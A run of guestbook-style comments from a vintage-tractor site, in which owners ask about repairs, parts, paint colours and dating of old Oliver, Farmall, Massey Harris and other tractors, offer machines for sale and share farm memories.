Dan Peteers wrote on Tuesday, December 20, 2011 (PST):I have an Oliver 1800 diesel that is in pretty good condition. One problem - the Pto lever won t stay engaged. I have tried to adjust the PTO clutch without any success. I have pushed in the locking pin but cannot get the nut to turn. While standing in back of the tractor, looking towards the front should I be turning the nut clockwise or counter clockwise to tighten the clutch Also how do you keep the assembly from turning while adjusting it This tractor was used mainly as a loader tractor so the PTO has had very little use. Any sugestions would be greatly appreciated. Thank you. Dan
Don Mack wrote on Thursday, December 15, 2011 (PST):I have a 1930 10 20 all parts seem to be on hand or with it. my dad had it running about 15 years ago but had a leak in oil pan. clutch is stuck now but eng. turns over and he put wrong mag on it. I need to know what manifold it should have as its got a up shot on it. I have the down shot manifold also. thank you Don
Chris Durham wrote on Saturday, December 10, 2011 (PST):Ihave a ford 800 not sure what year looks just like the pic.at the top of page. need to now how to get starter off.
Devin Schafer wrote on Sunday, November 27, 2011 (PST):I am restoring our massey 44 LP special. I can not find much info about it. Does anyone know much about this model
Ward Sutton wrote on Wednesday, November 23, 2011 (PST):I have a 1941 Farmall Model AV, that I have decided to sell. The last time I had it running was about 2 years ago. It runs great, but am sure it needs a new battery. I have had it for about 22 years and up till a few years ago, I used it every year to mow our small acreage. It has a 1959 5 ft. Woods Belly Mower on it and does a great job of mowing. I have no idea of where to try to sell it or how much to sell it for. It has been repainted, motor rebuilt, and looks real good. Would appreciate some suggestions of where and how much to list it for. Just getting too old to use it anymore.
Lowell hacker wrote on Tuesday, November 22, 2011 (PST):I recently purchased a super a, it has a different grill covering the radiator it has mesh on both sides of the center vertical post the mesh is full of vertical and horizontal holes about one quarter inch in diameter. The line at the top of the grill lines up with the hood line which leads me to believe that it is original. Can anyone tell me the significance of this grill THANK YOU IN ADVANCE FOR YOUR REPLY
Gerald Methvin wrote on Thursday, November 10, 2011 (PST):I have a 1940 Oliver Bulldozer that I am restoring. Anyone knowing the original paint color PLEASE advice! ASAP. Thank you. Gerald
Wayne Turner wrote on Sunday, November 06, 2011 (PST):I bought my first John Deere tractor in 1980. Yes, it is a Model H and is a 1941 vintage SN; 25297 . It came home in 3 boxes and when I bought it, I was told that all I had to do was put it together. WRONG! The connecting rods were wrapped around the crank shaft and all of the oil lines had to be replaced because they literally looked like spaghetti. I drove all over East Tennessee hunting parts to put it together. My family laughed at me for sitting in the seat making engine noises. I needed a tractor to haul my fire wood with and this fit the bill for several years into the future. I still use it to haul my granddaughters on rides but no more work for this baby.
Wayne Turner wrote on Sunday, November 06, 2011 (PST):I bought my first John Deere tractor in 1980. Yes, it is a Model H and is a 1941 vintage SN; 25297 . It came home in 3 boxes and when I bought it, I was told that all I had to do was put it together. WRONG! The connecting rods were wrapped around the crank shaft and all of the oil lines had to be replaced because they literally looked like spaghetti. I drove all over East Tennessee hunting parts to put it together. My family laughed at me for sitting in the seat making engine noises. I needed a tractor to haul my fire wood with and this fit the bill for several years into the future. I still use it to haul my granddaughters on rides but no more work for this baby.
Don wrote on Tuesday, October 25, 2011 (PDT):I have a 140 with the ID tag removed and saw on one of the web sites how to identify by looking at sections of the tractor such as the engine block which shows 10-31-M for the year made.The M i believe is the year built but i can t find the web site now.I appreciate any info. Thanks!! Don
Lewis wrote on Monday, October 17, 2011 (PDT):Hello every body, Well I never operated a 44 but the man I work for had one, but what I did run in 1968 was a 444 massey harris with power steering and that tractor was bad to the bone! and I was fifteen at the time and now I am 58 and my Twin brother got that5 tractoe right now! and it is still bad to the bone! and it is steel strong, but it need a nut on the rear axle to hold the hub on and if any body has one please email me are call me at 919-842-2896 Thanks!
vi wrote on Friday, October 14, 2011 (PDT):Have an F-20 to sell. 1930 s I believe. Wanting someone with willing to give LOL
Shannon Staggs wrote on Thursday, October 06, 2011 (PDT):We have a 1946 Harvest International Model B made in Chicago, for sale. In 80% mint condition, been restored. If interested please call 530 664-4244, and ask for Jim.
Shannon Staggs wrote on Thursday, October 06, 2011 (PDT):This is for Mike who is looking for a 1946 International Harvester we have one for sale. It s in much better condition than the picture above. If interested please e-mail us as soon as possible. I m willing to negotiate a lower price than you offer Bud.
Shannon Staggs wrote on Thursday, October 06, 2011 (PDT):This is for Mike who is looking for a 1946 International Harvester we have one for sale. It s in much better condition than the picture above. If interested please e-mail us as soon as possible.
Steven Wilson wrote on Friday, September 30, 2011 (PDT):I have my dads old super oliver55 in original condition it was running 2year ago it has the original tires on it my mom wants to sell it what kind of value does it have it is gas and has some surface rust please any one email me with some info or post on this site
Paul Dennis wrote on Monday, September 26, 2011 (PDT):I m trying to find the right.wheels for my VAH.I have huge tires that have been adapted to it.I saw on a paper that a 9 36 is what I need.What do I need
Paul Dennis wrote on Monday, September 26, 2011 (PDT):I m trying to find the right.wheels for my VAH.I have huge tires that have been adapted to it.I saw on a paper that a 9 36 is what I need.What do I need
Pappy Cox wrote on Sunday, September 25, 2011 (PDT):I have 2 leaders 1 is a 1937 model the story is it was built in their original shop that was in a horse barn.This tractor is so crudely built it is just unreal,and only hookup on it is a drawbar that connects right behind the front end .The other 1 is a 48 model d it s a great shape needs restoring ,it was running 5 yrs ago have used it since
David Enochian wrote on Friday, September 16, 2011 (PDT):We had a Silverking with the open wheels in the fron like a 9-N would. My wife had learned to drive on this tractor. I had heart surgery and decided I could not restore it so we sold it in about 2002 to a gentleman in Frordia. We live in Chardon Ohio near cleveland. The buyer came up from Fla. and with the halp of his son in Pa. bought it and took it to Fla to restore it. We wanted to keep track of it so that hopefully one day we can buy it back. Any help would be wonderful. Thank you. David
Bob wrote on Wednesday, September 14, 2011 (PDT):They call the correct color Brewster Green its almost its a little darker than oliver green I painted both of my Rumelys with a mix I did myself and I used oliver green and put some black in it. They turned out real nice. I have a 6A and a 1919 16-30H oil pull.Magneto guy I had mine totaly rebuilt last year for 800 bucks,Amish guy in Ohio did it for me,cost alot but the thing runs great.
James Ferguson Norman Ok. wrote on Monday, September 12, 2011 (PDT):I am restoring a1962 Gvi.Itset out in a field for about 15 years.Someone stole the radiator but I found one up in Ohio.That man had a hundred Moline tracators for salvage.This is a migaty strong mchine.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Val wrote on Sunday, September 11, 2011 (PDT):Jim wrote in january 2010 that he had manifold castings for a 1921 8-16.Do you still have any left
ron lemieux wrote on Sunday, September 04, 2011 (PDT):looking for parts 8 16 international
Shannon Wycuff wrote on Sunday, September 04, 2011 (PDT):just baught a farmall A that does not have the serial #tag. i believe it might be a 1939 because it does not have electric start and the hood is bolted on instead of having the hooks underneath if anyone can tell me if you can tell by the casting # s i would greatly appreciate it.
stan 306-786-7539 wrote on Sunday, September 04, 2011 (PDT): Have a massey 44 tractor for sale with blade runs very well and also anuthor for parts the parts one has bale forks that can be put on the running one rear mount
Randy Meier wrote on Wednesday, August 24, 2011 (PDT):I am selling my Massey 97. If you are interested please call 907 283-9246.
rod via wrote on Tuesday, August 09, 2011 (PDT):im lookin for John Deere R fender extensions. mine had them at one time and i would like to put them back on her. please call 540-810-4569
Bill Hoffstatter wrote on Saturday, August 06, 2011 (PDT):I bought an old Case Hay Wagon Chassis. The dust caps for the wheel hub is made out of cast iron and is held on with 4 3/8 square headed bolts. I m positive this was originally a horse drawn wagon. HELP PLEASE!!;- Thanks, Bill
Hayden Stone wrote on Tuesday, August 02, 2011 (PDT):We have a General GG that my father purchased new and I put many hrs. on it as a kid. We Farmed 220 acres and it did most of the tillage work. I am redoing it again and need a drive shaft universal if anyone has one let me know.
Terry Parsons wrote on Friday, July 29, 2011 (PDT):looking fore water intake manafold frome the radeator to the motor also intake and exaust manafold . I need it for a T-20 that was damaged during dalivery to me .
Luverne Schmidt wrote on Saturday, July 23, 2011 (PDT):We would be interested in a late model Z, or ZA, or ZB in excellent condition.
Randy Sandeen wrote on Friday, July 22, 2011 (PDT):My Father has a Farmall B with a Woods 6 ft. Belly Mower attached, both are in great shape and work great together, he wants 3,500 for it. Great for hugh lawns or a hobby farm. Anyone looking for something like this
patrick wrote on Tuesday, July 12, 2011 (PDT):i am looking for aoil pump for a 43 vai it is a vt.125 or just sell the tractor if anyone can help please let me know thanks pat
Steve wrote on Tuesday, July 12, 2011 (PDT):I have a rumely 6 that needs a magneto rebuild or replacement. ant one know of a good resource
Jen Puffenbarger wrote on Saturday, July 09, 2011 (PDT):My father restored a W-12 more than 40 years ago. For 36 years, I have had the tractor in a parade for the annual lawn party. This year it may miss the parade because of a part that is cracked and needs replacing. I am hoping someone can help me find a part. We are trying to fix the cracked one. The best I can describe it is it s the part that the crank fits into. I can send pictures if needed. Thanks!
James Hardy wrote on Wednesday, June 22, 2011 (PDT):We are looking to purchase a 1957 International 350 Utility. In checking it out we have found that when the PTO is disengaged it whines. Does this mean there is something wrong w/ the PTO We re buying it to primarily bush hog w/ it.
kelly fancher wrote on Tuesday, June 21, 2011 (PDT):My question is could you tell me how much an OC3 4cyl,gas, ROPS crawler/loader weighs. Thank you for your help.
Tom Schuster wrote on Sunday, June 05, 2011 (PDT):My grandfather had an Avery like the one pictured and used it on his truck farm in Louisville. I have a photo of me at age three sitting on the seat with my straw hat on and a corncob in each hand! Wish Ihad that tractor!
Ossie Fargher wrote on Saturday, May 28, 2011 (PDT):I am restoring a Massey Harris GP Have been told according to it s serial no it is the first off the assembly line with the Hercules OHV engine and am looking for a magneto, manifold and steering box components. The tractor is in New Zealand
Kevin Mullany wrote on Friday, May 27, 2011 (PDT):Hello, Would it be possible to explain to me a problem with our Oliver oc3 Crawler, I have just started to restore it, so it turns over well, i only have a cranck start, so we have no spark on turning it over, would this be timing issue or distributor/magneto problem. Really appreciated if you could help. Regards Kevin
Ron wrote on Tuesday, May 24, 2011 (PDT):I owned a leader for several years. It served me well. The four cyl Hercules engine and some of the other parts, 3rd member, etc., looked to me to be army surplus parts, perhaps available after the war. I sold it almost 20 yrs ago, and stil regret it to this day.
Monty A Waits wrote on Monday, May 23, 2011 (PDT):I have a 1947 Cub restored from the ground up. A museum tractor all original,upgraded to 12 volt electrical system. Also comes w/h cultavators. If anyone is interested please contact via email for further info. Thanks, Monty
Anthony eagle wrote on Sunday, May 22, 2011 (PDT):i am wondering what the cub is worth in mint condition
Reggie Palmer wrote on Sunday, May 15, 2011 (PDT):I have a 1927 Farmall Regular that I would like to restore. To be more accurate I should say I have the frame rear end and front end with bad cut-down wheels front and back I need everything else. I am looking for either another regular for parts or alot of individual parts. I can also use all the advise anyone has to offer!
Wes Wigton wrote on Wednesday, May 11, 2011 (PDT):Hi, we have an 8-16 tractor for sale by auction on June 2 2011. contact us if you would like more information. 740-362-0007
Lem Highsmith wrote on Wednesday, May 11, 2011 (PDT):Have cub loboy cant find age or model have serial no.019888 if can held pleast email. thanks
anthony neal wrote on Monday, May 02, 2011 (PDT):Identify Year - FCUB - SN# 16124J, Eng #251341R6 what year is this thanks
tania burnss wrote on Sunday, May 01, 2011 (PDT):oliver super 88
Lynda wrote on Tuesday, April 26, 2011 (PDT):We havwe owned a 1954 Deisel Fordson Major for 15 years it is 50 hp. It has been a wonderful acreage tractor. We ar now replacing the hread gasket and we dont know what the tourque pressure per pound is for the head bolts. Dont want give up my tractor for anything
Albert Schut wrote on Tuesday, April 26, 2011 (PDT):I grew up on a muck farm, my dad and grandfather had an OC6 that they bolted 24 oak 2x4s to the tracks. In the spring when we couldn t get on the field with anything else, that old Oliver would almost walk on water. We still have an OC3 from those days.
Greg Elliott wrote on Thursday, April 21, 2011 (PDT):HI HAVE A MH30 ROW CROPPER, I NEED ONE NEW 11.2X38 TIRE ANY SUGGESTIONS NEAR ONTARIO CANADA
jim henry wrote on Sunday, April 17, 2011 (PDT):I have a D14/ the problem is the hand clutch will not stay in the high range position I have adjusted the linkages a few times but the problem remains //any ideas thanks
Brad wrote on Friday, April 08, 2011 (PDT):One year while chisel plowing with our 5010 the tractor went down to the axles in the low part of the field. The only hope we had of getting it out was to fire up the old 1956 80 which already had bad rings and waiting for a repair. She started up reluctantly, smoked pretty badly and limped out to the field and dragged the very heavy, mud bogged 5010 out of the mire. Very impressive old girl! We still have it and love it, she has the rare fender extensions and the loaded 23.1 X 26 rears. A beast.
john fields wrote on Wednesday, April 06, 2011 (PDT):just got my ac 160 a few days ago it needs some work but im happy with it.
ED bianco wrote on Thursday, March 31, 2011 (PDT):I HAVE A FARMALL CUB I THINK. THE TRACTOR S/N IS121183 THE ENGINE S/N IS 1800 ON THE LEFT SIDE OF THE BLOCK IS THE # 251341R2 CAN ANYONE GIVE ME AN IDEA OF THE YEAR MFG I HAVE BEEN TOLD IT MAY BE A 1951, BUT WOULD LIKE TO BE CERTAIN THANK YOU ED
Bill Pearson wrote on Thursday, March 31, 2011 (PDT):The tractor is a ZB or ZA_Model-Special it was made the last year of Z production in 1955-56 If my memory is correct. It had everything you could want, Power stearing heaver brakes, everything but a 3 point hitch. Minneapolis Moline changed models that next year and introduced the 335 445 which was an all new tractor with an all new Hydralic system with a draft sinceing 3 point hitch, made by Cesna aircraft. Both of the new tractors had a different feel, like driving a Ford tractor. I rember that their was a change of ownership,or management at this time in the Company. My father was a MM dealer from 1938 to 1976. I was 10 when the new models came out I rember the company gave away motor bikes and sewing machines with a new tractor.
Bart A. Besley wrote on Sunday, March 27, 2011 (PDT):Farmall AV For Sale, see info above from June 2010. 607-857-9209
tom bolden wrote on Sunday, March 27, 2011 (PDT):looking for continal or perkins engine the is a 130 or fit in a backhoe
howard frotten wrote on Sunday, March 27, 2011 (PDT):looking for a dist cap for a 1945 81
Chris Harkin wrote on Tuesday, March 22, 2011 (PDT):I have a Farm All Super A 1952. Looking to replace the front tires as they have been running on car tires for years. Other tractor companies in the district have laughed at my predicament. Where can I purchase tires in Australia, better still Queensland
Dave Bartz wrote on Wednesday, March 16, 2011 (PDT):We had 2 oliver 70 s orchard tractors on our fruit farm in Berrien Co. Michigan--a 1947 and a 48 I loved driving the 48 when pulling an off set disc in the orchards when it was under full power. The ole 70 never let me down--it could run all day. The governor on it was interesting--the 70 would rip and snort going up hill and then when heading down hill the governor would hold it back. Then when you headed up hill again, the 70 would let out a couple of snorts and you were back to full power. It was a great tractor.
Doug Vaughan wrote on Monday, March 14, 2011 (PDT):Would like info on MF 97.. The one I have now is D504-6 SN#23702128. I had another one with SN#25201023. All charts show 97 s with SN beginning with 25 . Can you tell me where to find additional info
Bobby Littleton wrote on Thursday, March 10, 2011 (PST):Can you tell me the year or where I can find it on a #1530 McCormick Deering Tractor SN# TG131714M. I think this is a 36 horse power. Also the value of this tractor in fair condition. Running when parked about 20 yrs. ago. Manual crank will turn engine over now. Been under barn and not bad rusted. Thanks.
Jason wrote on Saturday, March 05, 2011 (PST):I m trying to restore an Oliver 70 row crop for a 4-h project and am curious how much side shields would cost. New or used. Or if I can even buy them anywhere.
BOB wrote on Wednesday, March 02, 2011 (PST):i NEED A CARB FOR 8-16 WOULD THE GUY FROM BATTLE CREEK CALL ME OR E-MAIL ME i LOST YOUR NUMBER 616-868-2161 RLOESCH at CHARTERMI.NET
BOB wrote on Wednesday, March 02, 2011 (PST):i NEED A CARB FOR 8-16 WOULD THE GUY FROM BATTLE CREEK CALL ME OR E-MAIL ME i LOST YOUR NUMBER 616-868-2161 RLOESCH at CHARTERMI.NET
Bill Steele wrote on Tuesday, March 01, 2011 (PST):We are restoring a 1917 12-25 avery tractor ser# 7410 and would like any information on the orginal color schiem and what decals go on, there color and location or any other information would be much appreciated. Thank you Bill
Rick wrote on Tuesday, March 01, 2011 (PST):I am interested in finding out what a model B is worth, that is in running condition.
joe wrote on Sunday, February 27, 2011 (PST):My e-mail is throttlegov at yahoo . com thanks
joe wrote on Sunday, February 27, 2011 (PST):needing help with my ensign carb on my 1918 8-16 . Dont know how to set the carb or keep it from flooding.any help would be greatly appreciated. Plz e-mail me ..also looking for an air cleaner for same tractor.
wilfred j saulnier wrote on Saturday, February 26, 2011 (PST):i am asking if anyone out there reading this who has a 1950 international cub tractor and allso has a snow blade of the original style that converts to a grader blade would be willing to send me the dementions of it in lengths and widths and thicknesses of the material included in the making of it and any thing else that would help me in the home making or fabrication of the same kind of blade with all its measurements, thank you so very much , and the best to you all........wilf
Eric Diedrich wrote on Thursday, February 24, 2011 (PST):anyone no where to find a wiring diagram for starter solenoid on a 1967 D17
Eric Diedrich wrote on Thursday, February 24, 2011 (PST):anyone no where to find a wiring diagram for starter solenoid on a 1967 D17
ron Lemieux wrote on Wednesday, February 16, 2011 (PST):looking for parts for 8 16
stanberven berven wrote on Tuesday, February 15, 2011 (PST):would like purchase a later model silver king tractor call 785 280 3197 or 785 263 7063 will pay top dollor for agood one
gregory gafford wrote on Monday, February 14, 2011 (PST):my father left me an oliver tractor want to know what year type. how can i tell
Russ Engelbrecht wrote on Tuesday, February 08, 2011 (PST):who owns the two GPO Lindeman crawlers in the photo I know of a couple of these, Did one come from Spoelstra please call me, Russ
Brandon Clark wrote on Monday, February 07, 2011 (PST):I have a 1949 farmall cub with hydrik lift on my tractor. but my tractor dose not startgood in the winter because it has a 8 volt battery and it has a six volt ganterater. so do i need to put a 12 volt system in it
Brandon Clark wrote on Monday, February 07, 2011 (PST):I have a 1949 farmall cub with hydrik lift on my tractor. but my tractor dose not startgood in the winter because it has a 8 volt battery and it has a six volt ganterater. so do i need to put a 12 volt system in it
Tony Daniels wrote on Friday, February 04, 2011 (PST):I have a Farmall M that when in neutral it is still in gear, it acts like about 5th. When I actually put it in gear and let the clutch out it just boggs down and will not move. Does anyone know how I can solve this problem with out removing the gear box cover Any help would be greatly appreciated. Thanks
Charles Long wrote on Sunday, January 30, 2011 (PST):I have a 1949 cub serial #87900. Runs good. It is for sale. I live in the south east corner of Tennessee. If anybody knows of anybody looking for one, let them know. Phone # 423-496-1992
steve wrote on Tuesday, January 25, 2011 (PST):Hi. Just bought a Oliver row crop 60 . I bought it without the engine side panels. Does any one no where I could buy a set. Thank you . Steve
Cole Lake wrote on Monday, January 24, 2011 (PST):About a year ago i bought a oliver 70 row crop and it needed a motor, cause it was locked up from sitting.So i bought another oliver 70 from a guy, and i figured i could take two and make one then restore it later, but the guy got me on that deal and when i got it home after a 200 mile round trip it was seized to. As i worked on that on i found a running restored one 5 miles away for 500 and it came with a half a 60 row crop cut right in half. And just yesterday i found my first whole running oliver 60 that i am hoping to get.They are great running tractors and they are TOUGH i love em. Thanks Grampa for getting me into restoring tractors.
Ray Groom wrote on Thursday, January 13, 2011 (PST):I bought a 460 international utility industrial tractor backhoe a couple years ago for 2300.00 at auction and i took it to job site it had no balls wouldn t dig I put a new pump into it still no balls checked the compression all were low so took the engine out took it to henry mootz by portage paid to have it completely rebuilt, I got 2 new rear axle hubs now the only thing i have left to do is to replace the rear main axle seals and behind the throwout bearing theres a seal in there under the shifter that was leaking. does any one know how to replace the rear axle seals and how to get apart the area behind the throwout bearing, I down loaded onto craigslist my machine for sale for 4,000.00 but i have 8500 invested so if I could get it all back together i could probably get more money back on it and not take such a loss. So if could give me the info would be much appreciated.
Shannon Clark wrote on Friday, January 07, 2011 (PST):We recently inhereted an R that s in good shape, and runs we need to get the pony engine checked out and replace the screen on the grill, the tires are good. We are looking to sell it, still checking into prices. If interested call 307-286-9486 Southeastern Wyoming
myron taylor wrote on Friday, December 24, 2010 (PST):My grandfather had a 30 C. around 50 s 60s then got rid of it on something else. His name was Stanley Taylor. Lived in Birchton Quebec. Like to know where that tractor every got to, if I knew I d try to buy it but it s proably scrape long ago. Some day I ll find another to buy, first tractor I every drove.
Art Barnard wrote on Thursday, December 23, 2010 (PST):I recently purchased a McCormick-Deering,don t know the model. The tag says 30 hp and the s/n is TG 75158. It has steelwheels and is fairly complete. Can anyone tell me what model and year I have
jackie bragg wrote on Friday, December 17, 2010 (PST):does a massey harris pacer on a 6volt system wire positive to ground
Winston Marks wrote on Thursday, December 16, 2010 (PST):When I push the hand lever to engage the pto it grinds a lot,but when the jd 2010 row crop is shut off,it engages easily.The pto works otherwise.
Fred Hunt wrote on Tuesday, December 14, 2010 (PST):Where can I find parts to rebuild the carburetor on a Farmall regular,tha snail shell carb.I need a float and needle and seat.
Tom Olson wrote on Sunday, December 12, 2010 (PST):would like to know how much compression my 206G-4 engine should have This engine is in my model zas m.m
Jackie Bragg wrote on Friday, December 10, 2010 (PST):I have a 1956 Pacer I have cleaned and painted it new decals--It had a belly mower with it I have seen pictures with a scrape blade under the belly ---does anyone know where yo get one
Jay Wells wrote on Wednesday, December 08, 2010 (PST):My dad bought a SC case he thinks in 1954. We stored this tractor for 30 years and decided to restore it last year. Its in tough shape but with some love she ll run again. We re not sure what year it is. The serial # SC 8037696 Cann anyone help. Jay
John Johnston wrote on Sunday, December 05, 2010 (PST):We are attempting to replicate the font type for this vintage Case tractor to use on a toybox I m making for my grandson, Case yes, named after the tractor ; we were hoping to enlarge the picture, then trace the letters, but the shadow on the picture makes it difficult to see. We could not find the proper font on Microsoft Windows or we would have gone that route. Can anyone help
Manuel wrote on Saturday, December 04, 2010 (PST):Wayne, I have some 8-16 parts for sale. If interested please e-mail me.
Wayne Seymour wrote on Thursday, December 02, 2010 (PST):I am working on a 8-16 IC series and need bearings rod and main , rings, gaskets,and gov. assy. Does anyone have any sources for these. Thanks
Daryl Hahm wrote on Tuesday, November 30, 2010 (PST):cable fix on this tractor for select o shift.. I like a few have found this cable hard to find at best. the cable usualy brakes at the junction. well burn off both ends with a torch careful not to burn off cable. fit both ends in a vice and begin to braze with very low heat I mean real low dont rush work brass into 3/8 inch of the cable on both sides of junction. this is one time you add far more then you need. after you have admired your worst braze job get your file a beverage and some working music. I filed both sides and center area down until I was at the steel cable. once you have filed the repair area down to fit the guide tube make sure tube is streight lube and slide the cable back into the tube. put your tractor back together and go to work. for those who say this cant be done your are welcome to check mine out as this is now the strongest part of my shift system. Do avoid any bends at the base end of the guide tube as your repair isnt flexable.
Oliver wrote on Friday, November 26, 2010 (PST):I just got my hands dirty on a oliver fleetlined oc4-3G-68 cant wait to get it done from what i have seen it might be rare but not sure. can anyone tell me more info on years where to get parts and if it is rare or not thank you
John Yoder wrote on Thursday, November 25, 2010 (PST):I have a 1928 farmall regular and a few years ago I didn t ajust the rod bushing in time and threw a rod out the side of the engine so I m looking for a complete engine or a block and crank would sooner have a complete engine enybody here know where I might find one
Mike Welge wrote on Wednesday, November 24, 2010 (PST):My father just bought a Farmall FAAV high clear as a non runner! Dad and I worked on it just under 4 hrs! The farmer that owend this tractor wrote on the side loose, last ran 3 years ago, shes a bit rough, she runs like a top! The info I have found in a book says that they made 3,602 of this style tractor. Every tractor we buy has a perment home with the rest of the farmalls,internationals,ac,john deeres,massey,we love the little ones! Resqued one from being flooded for a 3rd time and that cub runs great! If anyone needs questions answerd e-mail me.
Butch Cover wrote on Monday, November 22, 2010 (PST):I m from Crofford Co. Ohio and my father and I rebuilt the First Farmall Regular sold there. It belonged to my Great Uncle Jim Powers. We restored it in the early 60s and my Dad sold it in the early 90s but I don t know who. It was still running at that time. My brother Ron, Dad and I had a lot of good times in on the rebuild.
Marty wrote on Monday, November 22, 2010 (PST):I am working with an Aggie School to renovate my Dad s F-14 tractor, looking for a running parts tractor, I have been advised by the school it needs alot of parts as it s got the proverbial cracked block and head of most of these tractors, plus alot of other old parts from sitting....any words of wisdom out there I m in New England....
kenny mulholland wrote on Thursday, November 18, 2010 (PST):i just bought a 1959 d17 with the oval decals. she is in rough shape but has not been abused just wheather where. nice running when i get her started just has a bad battary. needs some gages and a good paint job if anyone has advice on why there is a air leak in one of the cyldenders let me know when or if adjusting the valves will help thank you
kenny mulholland wrote on Thursday, November 18, 2010 (PST):i just bought a 1959 d17 with the oval decals. she is in rough shape but has not been abused just wheather where. nice running when i get her started just has a bad battary. needs some gages and a good paint job if anyone has advice on why there is a air leak in one of the cyldenders let me know when or if adjusting the valves will help thank you
wayne tanner wrote on Wednesday, November 17, 2010 (PST):i am 62 yaers old, i have a 1948 ih farmall cub. the serial # is 38023, we are the same age.
Otto Walace wrote on Monday, November 15, 2010 (PST):I have a 54 Fordson Major Deisel i am fully restoring to original condition new clutch, pressure plate, stripped down new paint, pump and injectors rebuilt. I have owned for the last 15 years used for bush hogging,grading runs like a top 10 years ago i rebuilt engine and replaced sleeves, pistons, bearings. I may have put 150 hrs since then It will be for sale when completed.great for a collector 850-324-0934
william wrote on Sunday, November 14, 2010 (PST):HI all well i bought four massey harris. three 81s two narrow fronts one wide front. and a 20 or 22 not sure. so i have five all together. i thought rc had adjustble fronts and std wasnt. but could be wrong.i have some for sale. thanks william in michigan
wayne Edwards wrote on Thursday, November 11, 2010 (PST):where can i fined tires for allis chalmers modle G. size 7.2x30 rear tires, new or useded ones
Kevin White wrote on Thursday, November 11, 2010 (PST):I WANT TO PUT A 53 MERC FLAT HEAD 8CYL INTO A 52 8N FORD. DOES ANYONE HAVE BLUEPRINTS OR DIAGRAMS I HAVE WELDER/SHOP AND EXPERIENCE, JUST WANT TO MAKE IT BUT DON T WANT TO RE-INVENT THE WHEEL SO TO SPEAK.
